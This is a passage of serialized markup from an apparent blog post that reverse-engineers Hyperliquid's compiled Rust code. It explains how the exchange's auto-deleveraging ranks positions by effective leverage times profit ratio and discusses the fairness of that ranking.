marked by ",{"type":20,"tag":119,"props":157935,"children":157937},{"className":157936},[],[157938],{"type":26,"value":157777},{"type":26,"value":157940},", otherwise we keep it and only holders of underwater ",{"type":20,"tag":119,"props":157942,"children":157944},{"className":157943},[],[157945],{"type":26,"value":157873},{"type":26,"value":157947}," positions from the earlier loop are considered for ADL.",{"type":20,"tag":157273,"props":157949,"children":157950},{},[157951],{"type":20,"tag":29,"props":157952,"children":157953},{},[157954],{"type":26,"value":157955},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":20,"tag":157304,"props":157957,"children":157960},{"addr":157675,"line-start":157958,"line-end":157959},"523","526",[],{"type":20,"tag":29,"props":157962,"children":157963},{},[157964,157966,157972,157974,157980,157982,157987],{"type":26,"value":157965},"For each underwater position, we do a ",{"type":20,"tag":157848,"props":157967,"children":157969},{"addrs":157968},"0x555556ac42ad-0x555556ac42be",[157970],{"type":26,"value":157971},"B-tree lookup",{"type":26,"value":157973}," on ",{"type":20,"tag":119,"props":157975,"children":157977},{"className":157976},[],[157978],{"type":26,"value":157979},"clearinghouse.user_states[position.user]",{"type":26,"value":157981},", adding them to a ",{"type":20,"tag":119,"props":157983,"children":157985},{"className":157984},[],[157986],{"type":26,"value":15613},{"type":26,"value":157988}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":20,"tag":157304,"props":157990,"children":157993},{"addr":157675,"line-start":157991,"line-end":157992},"635","658",[],{"type":20,"tag":29,"props":157995,"children":157996},{},[157997],{"type":26,"value":157998},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":20,"tag":305,"props":158000,"children":158001},{},[158002],{"type":20,"tag":119,"props":158003,"children":158005},{"className":158004},[2375,157332],[158006],{"type":20,"tag":315,"props":158007,"children":158009},{"className":158008},[157337],[158010],{"type":20,"tag":315,"props":158011,"children":158013},{"className":158012},[2381],[158014],{"type":20,"tag":315,"props":158015,"children":158017},{"className":158016,"ariaHidden":2387},[2386],[158018],{"type":20,"tag":315,"props":158019,"children":158021},{"className":158020},[2392],[158022,158027],{"type":20,"tag":315,"props":158023,"children":158026},{"className":158024,"style":158025},[2397],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":20,"tag":315,"props":158028,"children":158030},{"className":158029},[2403],[158031],{"type":20,"tag":315,"props":158032,"children":158035},{"className":158033},[158034],"mtable",[158036,158116],{"type":20,"tag":315,"props":158037,"children":158040},{"className":158038},[158039],"col-align-r",[158041],{"type":20,"tag":315,"props":158042,"children":158044},{"className":158043},[2424,20046],[158045,158104],{"type":20,"tag":315,"props":158046,"children":158048},{"className":158047},[2429],[158049,158099],{"type":20,"tag":315,"props":158050,"children":158053},{"className":158051,"style":158052},[2434],"height:2.3452em;",[158054,158077],{"type":20,"tag":315,"props":158055,"children":158057},{"style":158056},"top:-4.3452em;",[158058,158063],{"type":20,"tag":315,"props":158059,"children":158062},{"className":158060,"style":158061},[2443],"height:3.3944em;",[],{"type":20,"tag":315,"props":158064,"children":158066},{"className":158065},[2403],[158067],{"type":20,"tag":315,"props":158068,"children":158070},{"className":158069},[2403,26],[158071],{"type":20,"tag":315,"props":158072,"children":158074},{"className":158073},[2403],[158075],{"type":26,"value":158076},"position_weight",{"type":20,"tag":315,"props":158078,"children":158080},{"style":158079},"top:-2.2092em;",[158081,158085],{"type":20,"tag":315,"props":158082,"children":158084},{"className":158083,"style":158061},[2443],[],{"type":20,"tag":315,"props":158086,"children":158088},{"className":158087},[2403],[158089],{"type":20,"tag":315,"props":158090,"children":158092},{"className":158091},[2403,26],[158093],{"type":20,"tag":315,"props":158094,"children":158096},{"className":158095},[2403],[158097],{"type":26,"value":158098},"position_adl_amount",{"type":20,"tag":315,"props":158100,"children":158102},{"className":158101},[20149],[158103],{"type":26,"value":20152},{"type":20,"tag":315,"props":158105,"children":158107},{"className":158106},[2429],[158108],{"type":20,"tag":315,"props":158109,"children":158112},{"className":158110,"style":158111},[2434],"height:1.8452em;",[158113],{"type":20,"tag":315,"props":158114,"children":158115},{},[],{"type":20,"tag":315,"props":158117,"children":158120},{"className":158118},[158119],"col-align-l",[158121],{"type":20,"tag":315,"props":158122,"children":158124},{"className":158123},[2424,20046],[158125,158326],{"type":20,"tag":315,"props":158126,"children":158128},{"className":158127},[2429],[158129,158321],{"type":20,"tag":315,"props":158130,"children":158132},{"className":158131,"style":158052},[2434],[158133,158261],{"type":20,"tag":315,"props":158134,"children":158135},{"style":158056},[158136,158140],{"type":20,"tag":315,"props":158137,"children":158139},{"className":158138,"style":158061},[2443],[],{"type":20,"tag":315,"props":158141,"children":158143},{"className":158142},[2403],[158144,158148,158152,158157,158161],{"type":20,"tag":315,"props":158145,"children":158147},{"className":158146},[2403],[],{"type":20,"tag":315,"props":158149,"children":158151},{"className":158150,"style":2581},[2483],[],{"type":20,"tag":315,"props":158153,"children":158155},{"className":158154},[2586],[158156],{"type":26,"value":337},{"type":20,"tag":315,"props":158158,"children":158160},{"className":158159,"style":2581},[2483],[],{"type":20,"tag":315,"props":158162,"children":158164},{"className":158163},[2403],[158165,158169,158257],{"type":20,"tag":315,"props":158166,"children":158168},{"className":158167},[20121,111823],[],{"type":20,"tag":315,"props":158170,"children":158172},{"className":158171},[111828],[158173],{"type":20,"tag":315,"props":158174,"children":158176},{"className":158175},[2424,20046],[158177,158245],{"type":20,"tag":315,"props":158178,"children":158180},{"className":158179},[2429],[158181,158240],{"type":20,"tag":315,"props":158182,"children":158185},{"className":158183,"style":158184},[2434],"height:1.3944em;",[158186,158207,158218],{"type":20,"tag":315,"props":158187,"children":158188},{"style":157414},[158189,158193],{"type":20,"tag":315,"props":158190,"children":158192},{"className":158191,"style":110476},[2443],[],{"type":20,"tag":315,"props":158194,"children":158196},{"className":158195},[2403],[158197],{"type":20,"tag":315,"props":158198,"children":158200},{"className":158199},[2403,26],[158201],{"type":20,"tag":315,"props":158202,"children":158204},{"className":158203},[2403],[158205],{"type":26,"value":158206},"total_cross_notional",{"type":20,"tag":315,"props":158208,"children":158209},{"style":111878},[158210,158214],{"type":20,"tag":315,"props":158211,"children":158213},{"className":158212,"style":110476},[2443],[],{"type":20,"tag":315,"props":158215,"children":158217},{"className":158216,"style":111888},[111887],[],{"type":20,"tag":315,"props":158219,"children":158221},{"style":158220},"top:-3.7em;",[158222,158226],{"type":20,"tag":315,"props":158223,"children":158225},{"className":158224,"style":110476},[2443],[],{"type":20,"tag":315,"props":158227,"children":158229},{"className":158228},[2403],[158230],{"type":20,"tag":315,"props":158231,"children":158233},{"className":158232},[2403,26],[158234],{"type":20,"tag":315,"props":158235,"children":158237},{"className":158236},[2403],[158238],{"type":26,"value":158239},"position_notional",{"type":20,"tag":315,"props":158241,"children":158243},{"className":158242},[20149],[158244],{"type":26,"value":20152},{"type":20,"tag":315,"props":158246,"children":158248},{"className":158247},[2429],[158249],{"type":20,"tag":315,"props":158250,"children":158253},{"className":158251,"style":158252},[2434],"height:0.996em;",[158254],{"type":20,"tag":315,"props":158255,"children":158256},{},[],{"type":20,"tag":315,"props":158258,"children":158260},{"className":158259},[20143,111823],[],{"type":20,"tag":315,"props":158262,"children":158263},{"style":158079},[158264,158268],{"type":20,"tag":315,"props":158265,"children":158267},{"className":158266,"style":158061},[2443],[],{"type":20,"tag":315,"props":158269,"children":158271},{"className":158270},[2403],[158272,158276,158280,158285,158289,158299,158303,158308,158312],{"type":20,"tag":315,"props":158273,"children":158275},{"className":158274},[2403],[],{"type":20,"tag":315,"props":158277,"children":158279},{"className":158278,"style":2581},[2483],[],{"type":20,"tag":315,"props":158281,"children":158283},{"className":158282},[2586],[158284],{"type":26,"value":337},{"type":20,"tag":315,"props":158286,"children":158288},{"className":158287,"style":2581},[2483],[],{"type":20,"tag":315,"props":158290,"children":158292},{"className":158291},[2403,26],[158293],{"type":20,"tag":315,"props":158294,"children":158296},{"className":158295},[2403],[158297],{"type":26,"value":158298},"user_shortfall",{"type":20,"tag":315,"props":158300,"children":158302},{"className":158301,"style":2484},[2483],[],{"type":20,"tag":315,"props":158304,"children":158306},{"className":158305},[2489],[158307],{"type":26,"value":109567},{"type":20,"tag":315,"props":158309,"children":158311},{"className":158310,"style":2484},[2483],[],{"type":20,"tag":315,"props":158313,"children":158315},{"className":158314},[2403,26],[158316],{"type":20,"tag":315,"props":158317,"children":158319},{"className":158318},[2403],[158320],{"type":26,"value":158076},{"type":20,"tag":315,"props":158322,"children":158324},{"className":158323},[20149],[158325],{"type":26,"value":20152},{"type":20,"tag":315,"props":158327,"children":158329},{"className":158328},[2429],[158330],{"type":20,"tag":315,"props":158331,"children":158333},{"className":158332,"style":158111},[2434],[158334],{"type":20,"tag":315,"props":158335,"children":158336},{},[],{"type":20,"tag":29,"props":158338,"children":158339},{},[158340],{"type":26,"value":158341},"We do that here:",{"type":20,"tag":157304,"props":158343,"children":158346},{"addr":157675,"line-start":158344,"line-end":158345},"828","981",[],{"type":20,"tag":29,"props":158348,"children":158349},{},[158350,158351,158357,158359,158365],{"type":26,"value":15015},{"type":20,"tag":157848,"props":158352,"children":158354},{"lines":158353},"77-79",[158355],{"type":26,"value":158356},"inner loop",{"type":26,"value":158358}," above spans all ",{"type":20,"tag":119,"props":158360,"children":158362},{"className":158361},[],[158363],{"type":26,"value":158364},"(asset_idx, direction)",{"type":26,"value":158366}," held in the cross margin position.",{"type":20,"tag":29,"props":158368,"children":158369},{},[158370,158372,158378,158380,158386,158387,158393],{"type":26,"value":158371},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":20,"tag":119,"props":158373,"children":158375},{"className":158374},[],[158376],{"type":26,"value":158377},"adl_output",{"type":26,"value":158379}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":20,"tag":119,"props":158381,"children":158383},{"className":158382},[],[158384],{"type":26,"value":158385},"position_id",{"type":26,"value":9392},{"type":20,"tag":119,"props":158388,"children":158390},{"className":158389},[],[158391],{"type":26,"value":158392},"position_shortfall",{"type":26,"value":61},{"type":20,"tag":157304,"props":158395,"children":158398},{"addr":157675,"line-start":158396,"line-end":158397},"2377","2469",[],{"type":20,"tag":29,"props":158400,"children":158401},{},[158402,158404,158410],{"type":26,"value":158403},"Afterwards we can finally loop over the B-tree containing ",{"type":20,"tag":119,"props":158405,"children":158407},{"className":158406},[],[158408],{"type":26,"value":158409},"(position_id, cut)",{"type":26,"value":158411},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":20,"tag":29,"props":158413,"children":158414},{},[158415,158417,158422],{"type":26,"value":158416},"The final phase of ",{"type":20,"tag":119,"props":158418,"children":158420},{"className":158419},[],[158421],{"type":26,"value":157629},{"type":26,"value":158423}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":20,"tag":157304,"props":158425,"children":158428},{"addr":157675,"addr-start":158426,"addr-end":158427},"0x555556ac6d52","0x555556ac6de8",[],{"type":20,"tag":29,"props":158430,"children":158431},{},[158432],{"type":26,"value":158433},"How are positions chosen (sorted) to be deleveraged?",{"type":20,"tag":33788,"props":158435,"children":158437},{"id":158436},"who-do-we-deleverage",[158438],{"type":26,"value":158439},"Who Do We Deleverage?",{"type":20,"tag":29,"props":158441,"children":158442},{},[158443],{"type":26,"value":158444},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":20,"tag":29,"props":158446,"children":158447},{},[158448],{"type":26,"value":158449},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":20,"tag":29,"props":158451,"children":158452},{},[158453,158455,158462],{"type":26,"value":158454},"More formally, fairness can be given multiple related definitions; see ",{"type":20,"tag":35,"props":158456,"children":158459},{"href":158457,"rel":158458},"https://arxiv.org/abs/2512.01112",[39],[158460],{"type":26,"value":158461},"this paper",{"type":26,"value":158463},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":20,"tag":29,"props":158465,"children":158466},{},[158467],{"type":26,"value":158468},"So, is Hyperliquid fair? Is it always solvent?",{"type":20,"tag":21,"props":158470,"children":158472},{"id":158471},"adl-score-computation",[158473],{"type":26,"value":158474},"ADL Score Computation",{"type":20,"tag":29,"props":158476,"children":158477},{},[158478,158480,158486,158488,158494,158496,158501],{"type":26,"value":158479},"The score function at ",{"type":20,"tag":119,"props":158481,"children":158483},{"className":158482},[],[158484],{"type":26,"value":158485},"compute_adl_ranking_score",{"type":26,"value":158487}," is core to answering this question. It's defined, most likely as an ",{"type":20,"tag":119,"props":158489,"children":158491},{"className":158490},[],[158492],{"type":26,"value":158493},"Ord",{"type":26,"value":158495}," implementation on some 20-byte address representation. A ",{"type":20,"tag":119,"props":158497,"children":158499},{"className":158498},[],[158500],{"type":26,"value":15613},{"type":26,"value":158502}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":20,"tag":29,"props":158504,"children":158505},{},[158506,158508,158513,158515,158521,158523,158530,158532,158539],{"type":26,"value":158507},"Those sort routines are ",{"type":20,"tag":55,"props":158509,"children":158510},{},[158511],{"type":26,"value":158512},"generated by the compiler",{"type":26,"value":158514},": since Rust binaries include a lot of metadata by default in ",{"type":20,"tag":119,"props":158516,"children":158518},{"className":158517},[],[158519],{"type":26,"value":158520},".comment",{"type":26,"value":158522},", we may even manually ",{"type":20,"tag":35,"props":158524,"children":158527},{"href":158525,"rel":158526},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[39],[158528],{"type":26,"value":158529},"take advantage",{"type":26,"value":158531}," of this to recover the ",{"type":20,"tag":35,"props":158533,"children":158536},{"href":158534,"rel":158535},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[39],[158537],{"type":26,"value":158538},"exact source of library functions",{"type":26,"value":61},{"type":20,"tag":29,"props":158541,"children":158542},{},[158543,158545,158550],{"type":26,"value":158544},"Let's see how this ties back into the ",{"type":20,"tag":119,"props":158546,"children":158548},{"className":158547},[],[158549],{"type":26,"value":157629},{"type":26,"value":2884},{"type":20,"tag":157304,"props":158552,"children":158554},{"source":157629,"target":158485,"direction":157630,"path":158553},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":20,"tag":29,"props":158556,"children":158557},{},[158558],{"type":26,"value":158559},"And here's the main call site used for sorting:",{"type":20,"tag":157304,"props":158561,"children":158564},{"addr":157675,"line-start":158562,"line-end":158563},"2806","2814",[],{"type":20,"tag":21,"props":158566,"children":158568},{"id":158567},"ratio-1-effective-leverage",[158569],{"type":26,"value":158570},"Ratio 1: Effective Leverage",{"type":20,"tag":305,"props":158572,"children":158573},{},[158574],{"type":20,"tag":119,"props":158575,"children":158577},{"className":158576},[2375,157332],[158578],{"type":20,"tag":315,"props":158579,"children":158581},{"className":158580},[157337],[158582],{"type":20,"tag":315,"props":158583,"children":158585},{"className":158584},[2381],[158586],{"type":20,"tag":315,"props":158587,"children":158589},{"className":158588,"ariaHidden":2387},[2386],[158590,158621],{"type":20,"tag":315,"props":158591,"children":158593},{"className":158592},[2392],[158594,158598,158608,158612,158617],{"type":20,"tag":315,"props":158595,"children":158597},{"className":158596,"style":113360},[2397],[],{"type":20,"tag":315,"props":158599,"children":158601},{"className":158600},[2403,26],[158602],{"type":20,"tag":315,"props":158603,"children":158605},{"className":158604},[2403],[158606],{"type":26,"value":158607},"effective leverage",{"type":20,"tag":315,"props":158609,"children":158611},{"className":158610,"style":2581},[2483],[],{"type":20,"tag":315,"props":158613,"children":158615},{"className":158614},[2586],[158616],{"type":26,"value":337},{"type":20,"tag":315,"props":158618,"children":158620},{"className":158619,"style":2581},[2483],[],{"type":20,"tag":315,"props":158622,"children":158624},{"className":158623},[2392],[158625,158630],{"type":20,"tag":315,"props":158626,"children":158629},{"className":158627,"style":158628},[2397],"height:2.113em;vertical-align:-0.686em;",[],{"type":20,"tag":315,"props":158631,"children":158633},{"className":158632},[2403],[158634,158638,158733],{"type":20,"tag":315,"props":158635,"children":158637},{"className":158636},[20121,111823],[],{"type":20,"tag":315,"props":158639,"children":158641},{"className":158640},[111828],[158642],{"type":20,"tag":315,"props":158643,"children":158645},{"className":158644},[2424,20046],[158646,158721],{"type":20,"tag":315,"props":158647,"children":158649},{"className":158648},[2429],[158650,158716],{"type":20,"tag":315,"props":158651,"children":158653},{"className":158652,"style":157410},[2434],[158654,158675,158686],{"type":20,"tag":315,"props":158655,"children":158656},{"style":157414},[158657,158661],{"type":20,"tag":315,"props":158658,"children":158660},{"className":158659,"style":110476},[2443],[],{"type":20,"tag":315,"props":158662,"children":158664},{"className":158663},[2403],[158665],{"type":20,"tag":315,"props":158666,"children":158668},{"className":158667},[2403,26],[158669],{"type":20,"tag":315,"props":158670,"children":158672},{"className":158671},[2403],[158673],{"type":26,"value":158674},"account value",{"type":20,"tag":315,"props":158676,"children":158677},{"style":111878},[158678,158682],{"type":20,"tag":315,"props":158679,"children":158681},{"className":158680,"style":110476},[2443],[],{"type":20,"tag":315,"props":158683,"children":158685},{"className":158684,"style":111888},[111887],[],{"type":20,"tag":315,"props":158687,"children":158688},{"style":157465},[158689,158693],{"type":20,"tag":315,"props":158690,"children":158692},{"className":158691,"style":110476},[2443],[],{"type":20,"tag":315,"props":158694,"children":158696},{"className":158695},[2403],[158697,158702,158711],{"type":20,"tag":315,"props":158698,"children":158700},{"className":158699},[2403],[158701],{"type":26,"value":157480},{"type":20,"tag":315,"props":158703,"children":158705},{"className":158704},[2403,26],[158706],{"type":20,"tag":315,"props":158707,"children":158709},{"className":158708},[2403],[158710],{"type":26,"value":157490},{"type":20,"tag":315,"props":158712,"children":158714},{"className":158713},[2403],[158715],{"type":26,"value":157480},{"type":20,"tag":315,"props":158717,"children":158719},{"className":158718},[20149],[158720],{"type":26,"value":20152},{"type":20,"tag":315,"props":158722,"children":158724},{"className":158723},[2429],[158725],{"type":20,"tag":315,"props":158726,"children":158729},{"className":158727,"style":158728},[2434],"height:0.686em;",[158730],{"type":20,"tag":315,"props":158731,"children":158732},{},[],{"type":20,"tag":315,"props":158734,"children":158736},{"className":158735},[20143,111823],[],{"type":20,"tag":29,"props":158738,"children":158739},{},[158740,158742,158748,158750,158756,158757,158763,158765,158771],{"type":26,"value":158741},"We can see in the decompilation below, through the SIMD noise, that ",{"type":20,"tag":119,"props":158743,"children":158745},{"className":158744},[],[158746],{"type":26,"value":158747},"abs_notional",{"type":26,"value":158749}," (unsigned), and ",{"type":20,"tag":119,"props":158751,"children":158753},{"className":158752},[],[158754],{"type":26,"value":158755},"float.d(rbx)",{"type":26,"value":3894},{"type":20,"tag":119,"props":158758,"children":158760},{"className":158759},[],[158761],{"type":26,"value":158762},"account_value",{"type":26,"value":158764}," (signed); the division is ",{"type":20,"tag":119,"props":158766,"children":158768},{"className":158767},[],[158769],{"type":26,"value":158770},"abs_notional / account_value",{"type":26,"value":61},{"type":20,"tag":29,"props":158773,"children":158774},{},[158775],{"type":26,"value":158776},"This tells us the risk multiplier that the user took on for this position.",{"type":20,"tag":157304,"props":158778,"children":158782},{"addr":158779,"line-start":158780,"line-end":158781},"0x555556abb140","278","296",[],{"type":20,"tag":21,"props":158784,"children":158786},{"id":158785},"ratio-2-profit-ratio",[158787],{"type":26,"value":158788},"Ratio 2: Profit Ratio",{"type":20,"tag":305,"props":158790,"children":158791},{},[158792],{"type":20,"tag":119,"props":158793,"children":158795},{"className":158794},[2375,157332],[158796],{"type":20,"tag":315,"props":158797,"children":158799},{"className":158798},[157337],[158800],{"type":20,"tag":315,"props":158801,"children":158803},{"className":158802},[2381],[158804],{"type":20,"tag":315,"props":158805,"children":158807},{"className":158806,"ariaHidden":2387},[2386],[158808,158839],{"type":20,"tag":315,"props":158809,"children":158811},{"className":158810},[2392],[158812,158816,158826,158830,158835],{"type":20,"tag":315,"props":158813,"children":158815},{"className":158814,"style":113360},[2397],[],{"type":20,"tag":315,"props":158817,"children":158819},{"className":158818},[2403,26],[158820],{"type":20,"tag":315,"props":158821,"children":158823},{"className":158822},[2403],[158824],{"type":26,"value":158825},"profit ratio",{"type":20,"tag":315,"props":158827,"children":158829},{"className":158828,"style":2581},[2483],[],{"type":20,"tag":315,"props":158831,"children":158833},{"className":158832},[2586],[158834],{"type":26,"value":337},{"type":20,"tag":315,"props":158836,"children":158838},{"className":158837,"style":2581},[2483],[],{"type":20,"tag":315,"props":158840,"children":158842},{"className":158841},[2392],[158843,158847],{"type":20,"tag":315,"props":158844,"children":158846},{"className":158845,"style":157385},[2397],[],{"type":20,"tag":315,"props":158848,"children":158850},{"className":158849},[2403],[158851,158855,158974],{"type":20,"tag":315,"props":158852,"children":158854},{"className":158853},[20121,111823],[],{"type":20,"tag":315,"props":158856,"children":158858},{"className":158857},[111828],[158859],{"type":20,"tag":315,"props":158860,"children":158862},{"className":158861},[2424,20046],[158863,158963],{"type":20,"tag":315,"props":158864,"children":158866},{"className":158865},[2429],[158867,158958],{"type":20,"tag":315,"props":158868,"children":158870},{"className":158869,"style":157410},[2434],[158871,158892,158903],{"type":20,"tag":315,"props":158872,"children":158873},{"style":157414},[158874,158878],{"type":20,"tag":315,"props":158875,"children":158877},{"className":158876,"style":110476},[2443],[],{"type":20,"tag":315,"props":158879,"children":158881},{"className":158880},[2403],[158882],{"type":20,"tag":315,"props":158883,"children":158885},{"className":158884},[2403,26],[158886],{"type":20,"tag":315,"props":158887,"children":158889},{"className":158888},[2403],[158890],{"type":26,"value":158891},"entry notional",{"type":20,"tag":315,"props":158893,"children":158894},{"style":111878},[158895,158899],{"type":20,"tag":315,"props":158896,"children":158898},{"className":158897,"style":110476},[2443],[],{"type":20,"tag":315,"props":158900,"children":158902},{"className":158901,"style":111888},[111887],[],{"type":20,"tag":315,"props":158904,"children":158905},{"style":157465},[158906,158910],{"type":20,"tag":315,"props":158907,"children":158909},{"className":158908,"style":110476},[2443],[],{"type":20,"tag":315,"props":158911,"children":158913},{"className":158912},[2403],[158914,158920,158925,158935,158940,158944,158948,158953],{"type":20,"tag":315,"props":158915,"children":158917},{"className":158916},[20028],[158918],{"type":26,"value":158919},"max",{"type":20,"tag":315,"props":158921,"children":158923},{"className":158922},[20121],[158924],{"type":26,"value":1049},{"type":20,"tag":315,"props":158926,"children":158928},{"className":158927},[2403,26],[158929],{"type":20,"tag":315,"props":158930,"children":158932},{"className":158931},[2403],[158933],{"type":26,"value":158934},"pnl",{"type":20,"tag":315,"props":158936,"children":158938},{"className":158937},[2515],[158939],{"type":26,"value":2518},{"type":20,"tag":315,"props":158941,"children":158943},{"className":158942,"style":2522},[2483],[],{"type":20,"tag":315,"props":158945,"children":158947},{"className":158946,"style":2522},[2483],[],{"type":20,"tag":315,"props":158949,"children":158951},{"className":158950},[2403],[158952],{"type":26,"value":1063},{"type":20,"tag":315,"props":158954,"children":158956},{"className":158955},[20143],[158957],{"type":26,"value":1509},{"type":20,"tag":315,"props":158959,"children":158961},{"className":158960},[20149],[158962],{"type":26,"value":20152},{"type":20,"tag":315,"props":158964,"children":158966},{"className":158965},[2429],[158967],{"type":20,"tag":315,"props":158968,"children":158970},{"className":158969,"style":157508},[2434],[158971],{"type":20,"tag":315,"props":158972,"children":158973},{},[],{"type":20,"tag":315,"props":158975,"children":158977},{"className":158976},[20143,111823],[],{"type":20,"tag":29,"props":158979,"children":158980},{},[158981,158983,158989],{"type":26,"value":158982},"It uses entry notional (",{"type":20,"tag":119,"props":158984,"children":158986},{"className":158985},[],[158987],{"type":26,"value":158988},"r14_2",{"type":26,"value":158990},") as the divisor. PNL is clamped to non-negative before division.",{"type":20,"tag":29,"props":158992,"children":158993},{},[158994],{"type":26,"value":158995},"This basically tells us how well the user's bet went.",{"type":20,"tag":157304,"props":158997,"children":159001},{"addr":158998,"addr-start":158999,"addr-end":159000},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":20,"tag":29,"props":159003,"children":159004},{},[159005,159007,159013,159015,159021],{"type":26,"value":159006},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":20,"tag":119,"props":159008,"children":159010},{"className":159009},[],[159011],{"type":26,"value":159012},"1e-8",{"type":26,"value":159014},", in order not to cancel each other out. The final ADL ranking score is ",{"type":20,"tag":119,"props":159016,"children":159018},{"className":159017},[],[159019],{"type":26,"value":159020},"effective_leverage * profit_ratio",{"type":26,"value":159022},", consistent with both ratio directions and the max clamp on PNL.",{"type":20,"tag":29,"props":159024,"children":159025},{},[159026],{"type":26,"value":159027},"So, in essence, we look for risky and profitable positions!",{"type":20,"tag":219,"props":159029,"children":159031},{"id":159030},"partial-and-total-adl",[159032],{"type":26,"value":159033},"Partial and Total ADL",{"type":20,"tag":29,"props":159035,"children":159036},{},[159037],{"type":26,"value":159038},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":20,"tag":29,"props":159040,"children":159041},{},[159042],{"type":26,"value":159043},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":20,"tag":29,"props":159045,"children":159046},{},[159047,159049,159054],{"type":26,"value":159048},"So essentially, in pseudocode, the whole latter part of ",{"type":20,"tag":119,"props":159050,"children":159052},{"className":159051},[],[159053],{"type":26,"value":157629},{"type":26,"value":159055}," boils down to:",{"type":20,"tag":157304,"props":159057,"children":159060},{"addr":157675,"line-start":159058,"line-end":159059},"3252","3632",[],{"type":20,"tag":29,"props":159062,"children":159063},{},[159064],{"type":26,"value":159065},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":20,"tag":33788,"props":159067,"children":159069},{"id":159068},"branches",[159070],{"type":26,"value":159071},"Branches",{"type":20,"tag":29,"props":159073,"children":159074},{},[159075],{"type":26,"value":159076},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":20,"tag":29,"props":159078,"children":159079},{},[159080],{"type":26,"value":159081},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":20,"tag":33788,"props":159083,"children":159085},{"id":159084},"financial-conclusions",[159086],{"type":26,"value":159087},"Financial Conclusions",{"type":20,"tag":21,"props":159089,"children":159091},{"id":159090},"fairness-revenue-solvency-trilemma",[159092],{"type":26,"value":159093},"Fairness, Revenue, Solvency Trilemma",{"type":20,"tag":29,"props":159095,"children":159096},{},[159097,159099,159105],{"type":26,"value":159098},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":20,"tag":35,"props":159100,"children":159102},{"href":158457,"rel":159101},[39],[159103],{"type":26,"value":159104},"the paper mentioned before",{"type":26,"value":159106},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":20,"tag":15089,"props":159108,"children":159109},{},[159110,159120,159130],{"type":20,"tag":72,"props":159111,"children":159112},{},[159113,159118],{"type":20,"tag":55,"props":159114,"children":159115},{},[159116],{"type":26,"value":159117},"Solvency",{"type":26,"value":159119},": can the platform pay every trader out?",{"type":20,"tag":72,"props":159121,"children":159122},{},[159123,159128],{"type":20,"tag":55,"props":159124,"children":159125},{},[159126],{"type":26,"value":159127},"Fairness",{"type":26,"value":159129},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":20,"tag":72,"props":159131,"children":159132},{},[159133,159138],{"type":20,"tag":55,"props":159134,"children":159135},{},[159136],{"type":26,"value":159137},"Revenue",{"type":26,"value":159139},": the fraction of total winner PNL that survives after deleveraging.",{"type":20,"tag":29,"props":159141,"children":159142},{},[159143],{"type":26,"value":159144},"Let's borrow these definitions from the paper:",{"type":20,"tag":305,"props":159146,"children":159147},{},[159148],{"type":20,"tag":119,"props":159149,"children":159151},{"className":159150},[2375,157332],[159152],{"type":20,"tag":315,"props":159153,"children":159155},{"className":159154},[157337],[159156],{"type":20,"tag":315,"props":159157,"children":159159},{"className":159158},[2381],[159160],{"type":20,"tag":315,"props":159161,"children":159163},{"className":159162,"ariaHidden":2387},[2386],[159164],{"type":20,"tag":315,"props":159165,"children":159167},{"className":159166},[2392],[159168,159173],{"type":20,"tag":315,"props":159169,"children":159172},{"className":159170,"style":159171},[2397],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":20,"tag":315,"props":159174,"children":159176},{"className":159175},[2403],[159177],{"type":20,"tag":315,"props":159178,"children":159180},{"className":159179},[158034],[159181,160000],{"type":20,"tag":315,"props":159182,"children":159184},{"className":159183},[158039],[159185],{"type":20,"tag":315,"props":159186,"children":159188},{"className":159187},[2424,20046],[159189,159988],{"type":20,"tag":315,"props":159190,"children":159192},{"className":159191},[2429],[159193,159983],{"type":20,"tag":315,"props":159194,"children":159197},{"className":159195,"style":159196},[2434],"height:11.8392em;",[159198,159269,159286,159355,159425,159494,159564,159633,159702,159771,159841,159912],{"type":20,"tag":315,"props":159199,"children":159201},{"style":159200},"top:-14.3707em;",[159202,159207],{"type":20,"tag":315,"props":159203,"children":159206},{"className":159204,"style":159205},[2443],"height:3.3714em;",[],{"type":20,"tag":315,"props":159208,"children":159210},{"className":159209},[2403],[159211],{"type":20,"tag":315,"props":159212,"children":159214},{"className":159213},[2403],[159215,159220],{"type":20,"tag":315,"props":159216,"children":159218},{"className":159217,"style":19993},[2403,19992],[159219],{"type":26,"value":19996},{"type":20,"tag":315,"props":159221,"children":159223},{"className":159222},[2419],[159224],{"type":20,"tag":315,"props":159225,"children":159227},{"className":159226},[2424,20046],[159228,159258],{"type":20,"tag":315,"props":159229,"children":159231},{"className":159230},[2429],[159232,159253],{"type":20,"tag":315,"props":159233,"children":159235},{